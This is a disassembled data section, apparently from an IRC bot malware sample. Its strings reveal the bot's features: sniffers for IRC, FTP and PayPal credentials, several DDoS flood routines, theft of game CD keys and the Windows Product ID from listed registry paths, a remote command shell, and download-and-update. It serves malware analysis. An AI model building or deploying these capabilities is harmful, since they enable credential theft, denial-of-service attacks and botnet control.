aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_43598C	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359C4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359FC	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A30	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A64	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A98	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_435AC8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B1C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D44	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_436134	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436148	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_436180	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_436194	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361A8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361C4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_4361F4	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436200	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 437384h, 437378h,	437368h, 2 dup(0)
		dd 80000001h, 437348h, 437344h,	437330h, 2 dup(0)
		dd 80000001h, 43730Ch, 437344h,	437300h, 2 dup(0)
		dd 80000001h, 4372DCh, 4372D4h,	4372C0h, 2 dup(0)
		dd 80000001h, 4372ACh, 43729Ch,	437280h, 2 dup(0)
		dd 80000001h, 43723Ch, 4373C4h,	437228h, 2 dup(0)
		dd 80000002h, 4371FCh, 4371F0h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 4373C4h,	437184h, 2 dup(0)
		dd 80000002h, 437150h, 4373C4h,	437138h, 2 dup(0)
		dd 80000002h, 437120h, 4373C4h,	437108h, 2 dup(0)
		dd 80000002h, 4370CCh, 43D128h,	4370BCh, 2 dup(0)
		dd 80000002h, 437084h, 43D128h,	437070h, 2 dup(0)
		dd 80000002h, 437024h, 43D128h,	437004h, 2 dup(0)
		dd 80000002h, 436FB4h, 43D128h,	436F88h, 2 dup(0)
		dd 80000002h, 436F4Ch, 43D128h,	436F38h, 2 dup(0)
		dd 80000002h, 436F00h, 43D128h,	436EF0h, 2 dup(0)
		dd 80000002h, 436EA0h, 43D128h,	436E74h, 2 dup(0)
		dd 80000002h, 436E34h, 43D128h,	436E18h, 2 dup(0)
		dd 80000002h, 436DE8h, 43D128h,	436DC8h, 2 dup(0)
		dd 80000002h, 436D8Ch, 43D128h,	436D78h, 2 dup(0)
		dd 80000002h, 436D30h, 43D128h,	436D10h, 2 dup(0)
		dd 80000002h, 436CBCh, 43D128h,	436C8Ch, 2 dup(0)
		dd 80000002h, 436C3Ch, 43D128h,	436C10h, 2 dup(0)
		dd 80000002h, 436BD0h, 436BC8h,	436BA8h, 2 dup(0)
		dd 80000002h, 436B64h, 43D128h,	436B48h, 2 dup(0)
		dd 80000002h, 436AFCh, 43D128h,	436AD8h, 2 dup(0)
		dd 80000002h, 436AA4h, 43D128h,	436A98h, 2 dup(0)
		dd 80000002h, 436A64h, 43D128h,	436A58h, 2 dup(0)
		dd 80000002h, 436A24h, 43D128h,	436A18h, 2 dup(0)
		dd 80000002h, 4369E4h, 43D128h,	4369D8h, 2 dup(0)
		dd 80000002h, 43699Ch, 43D128h,	436988h, 2 dup(0)
		dd 80000002h, 43694Ch, 43D128h,	436938h, 2 dup(0)
		dd 80000002h, 436908h, 4373C4h,	4368ECh, 2 dup(0)
		dd 80000002h, 4368CCh, 4368C4h,	4368A0h, 2 dup(0)
		dd 80000002h, 436884h, 4368C4h,	436864h, 2 dup(0)
		dd 80000002h, 436844h, 4368C4h,	436820h, 2 dup(0)
		dd 80000002h, 436808h, 4368C4h,	436804h, 2 dup(0)
		dd 80000002h, 4367E8h, 4367D8h,	4367D0h, 2 dup(0)
		dd 80000002h, 43679Ch, 42C218h,	436784h, 2 dup(0)
		dd 80000002h, 436748h, 43673Ch,	436714h, 436704h, 4366F0h
		dd 80000002h, 4366CCh, 4366C0h,	4366ACh, 43669Ch, 436694h
		dd 80000002h, 4366CCh, 4366C0h,	436668h, 43669Ch, 436660h
		dd 80000002h, 4366CCh, 4366C0h,	436630h, 43669Ch, 436628h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004361F8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o
		align 4
asc_4373F4:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_4373F8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437474	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_437498	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374B0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_4374DC	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437500	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437518	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437530	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437550	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437574	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_437598	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375C4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_4375E4	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437614	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437644	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437670	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376A4	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_4376E8	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437704	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43773C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437764	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_437790	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_4377B8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_4377E0	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437830	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437834	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
